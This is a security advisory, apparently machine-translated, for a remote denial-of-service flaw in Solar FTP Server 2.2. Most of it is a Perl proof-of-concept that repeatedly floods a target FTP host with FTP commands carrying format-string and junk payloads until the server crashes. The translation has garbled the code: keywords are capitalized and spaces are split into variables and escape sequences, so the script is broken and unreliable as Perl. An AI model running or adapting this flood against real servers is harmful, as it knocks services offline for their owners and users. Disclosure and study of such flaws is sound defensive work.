Release date:
Updated on:
Affected Systems:
Solar FTP Server 2.2
Solar FTP Server
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54306
Solar FTP Server is a personal FTP Server.
Solar FTP Server 2.2 has a remote denial of service vulnerability. Attackers can exploit this vulnerability to force affected applications to not respond.
<* Source: coolkaveh
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Coolkaveh () provides the following test methods:
# Exploit Title: Solar FTP Server 2.2 Remote DOS crash POC
# Crash: http://img542.imageshack.us/img542/7633/solar.jpg
# Date: July 4, 2012
# Author: coolkaveh
# Coolkaveh () rocketmail com
# Https://twitter.com/coolkaveh
# Vendor Homepage: http://solarftp.com/
# Version: 2.2
# Tested on: windows XP SP3
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
# When sending multiple parallel crafted request to a Solar FTP Server
It gets crash
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
# Crappy Solar FTP Server Remote Denial Of Service
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
#! /Usr/bin/perl-w
Use IO: Socket;
Use Parallel: ForkManager;
$ | = 1;
Sub usage {
Print "Crappy FTP Server Remote Denial Of Service \ n ";
Print "by coolkaveh \ n ";
Print "usage: perl killftp. pl Print "example: perl Crappyftp. pl www.example.com \ n ";
}
$ Host = shift;
$ Port = shift | "21 ";
If (! Defined ($ host )){
Print "Crappy FTP Server Remote Denial Of Service \ n ";
Print "by coolkaveh \ n ";
Print "coolkaveh () rocketmail com \ n ";
Print "usage: perl killftp. pl Print "example: perl Crappyftp. pl www.example.com \ n ";
Exit (0 );
}
$ Check_first = IO: Socket: INET-> new (PeerAddr => $ host, PeerPort => $ port, Timeout => 60 );
If (defined $ check_first ){
Print "$ host-> $ port is alive. \ n ";
$ Check_first-> close;
}
Else {
Die ("$ host-> $ port is closed! \ N ");
}
@ Junk = ('A' x5, 'l % q % j % z % Z' x1000,
'% S % p % x % d', '024d',' %. 2049d ',' % p % P', '% x % x',' % d % d ', '% s % s',' % 99999999999s ',
'% 08x',' % 20d', '% 20n',' % 20x', '% 20s ', '% s % s ', '% p % P ',
'% # 0123456x % 08x % x % s % p % d % n % o % u % c % h % l % q % j % z % Z % t % I % e % g % f % a % C % S % 08x % ', '% s' x129,' % x' x57, '-1', '0', '0x100 ',
'0x1000', '0x3fffffff', '0x7ffffffe ', '0x7fffffffff', '0x80000000', '0xfffffffe', '0xffffff', '0x10000', '0x100000', '1 ',
);
@ Command = (
'Nlst', 'cwd ', 'stor', 'RETR', 'rds', 'dele', 'rnf', 'rn', 'LIST', 'mdtt ', 'SIZE', 'STAT', 'acct ', 'help', 'Mode ',
'Appe', 'stru', 'SITE', 'site Index', 'type', 'Type A', 'Type E', 'Type E'
L', 'Type I ', 'nlst', 'cwd', 'mkd ', 'rmd ',
'Dele', 'rnf', 'rnto', 'LIST', 'mdtt', 'SIZE', 'STAT', 'acct', 'help', 'Mode ',
'Appe', 'stru', 'SITE', 'site Index', 'type', 'Type A', 'Type E', 'Type E'
L', 'Type I ', 'nlst', 'cwd ',
);
Print "Crashing Server! \ N ";
While (1 ){
COMMAND_LIST: foreach $ cmd (@ command ){
Foreach $ poc (@ junk ){
LABEL5: $ sock4 = IO: Socket: INET-> new (PeerAddr => $ host,
PeerPort => $ port, Proto => 'tcp ', Timeout => 30 );
If (defined ($ sock4 )){
$ Sock4-> send ("$ cmd". "". "$ poc \ r \ n", 0 );
$ Sock4-> send ("$ poc \ r \ n", 0 );
}
}
}
}
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Solar FTP Server
----------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://solarftp.com/